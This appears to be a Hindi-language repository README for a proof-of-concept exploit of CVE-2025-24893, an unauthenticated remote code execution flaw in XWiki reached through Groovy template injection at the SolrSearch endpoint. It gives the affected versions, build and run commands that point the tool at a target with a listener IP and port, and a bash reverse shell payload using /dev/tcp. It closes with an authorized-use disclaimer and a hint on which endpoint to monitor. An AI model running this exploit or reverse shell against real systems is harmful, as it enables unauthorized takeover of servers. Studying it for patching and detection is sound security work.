investigato/cve-2025-24893-pocCVE-2025-24893 के लिए प्रूफ-ऑफ-कॉन्सेप्ट एक्सप्लॉइट, XWiki में एक अप्रमाणित रिमोट कोड एक्जीक्यूशन (RCE) कमजोरी। Groovy स्क्रिप्ट निष्पादन के माध्यम से SolrSearch एंडपॉइंट में टेम्पलेट इंजेक्शन दोष का शोषण करता है।
CVE-2025-24893 के लिए प्रूफ-ऑफ-कॉन्सेप्ट एक्सप्लॉइट, XWiki में एक गंभीर अनधिकृत रिमोट कोड एक्ज़ीक्यूशन कमज़ोरी।
यह एक्सप्लॉइट SolrSearch एंडपॉइंट में Groovy टेम्पलेट इंजेक्शन का दुरुपयोग करके बिना प्रमाणीकरण के मनमाने कमांड — जिसमें रिवर्स शेल भी शामिल हैं — को निष्पादित करता है।
XWiki SolrSearch RSS एंडपॉइंट पर बनाए गए इनपुट को कैसे संभालता है, इसमें एक खामी हमलावरों को रेंडरिंग पाइपलाइन में Groovy कोड इंजेक्ट करने की अनुमति देती है।
यह {{groovy}} स्क्रिप्ट ब्लॉकों के माध्यम से अनधिकृत RCE सक्षम बनाता है।
< 15.10.11>= 16.0.0 और < 16.4.115.10.1116.4.1रिलीज़ डाउनलोड करें:
या स्रोत से बनाएँ:
cargo build --release
./target/release/cve-2025-24893-gato --url http://target --ip 10.10.10.10 --port 4444
इस प्रपत्र में एक पूर्व-निर्मित रिवर्स शेल पेलोड है:
bash -c 'sh -i >& /dev/tcp/{IP}/{PORT} 0>&1
यह कोड केवल शैक्षिक और अधिकृत सुरक्षा अनुसंधान के लिए है।
उन सिस्टमों पर इस एक्सप्लॉइट का उपयोग न करें जिनके आप मालिक नहीं हैं या जिनके परीक्षण के लिए आपके पास स्पष्ट अनुमति नहीं है।
/bin/get/Main/SolrSearch?media=rss के संदिग्ध उपयोग की निगरानी करें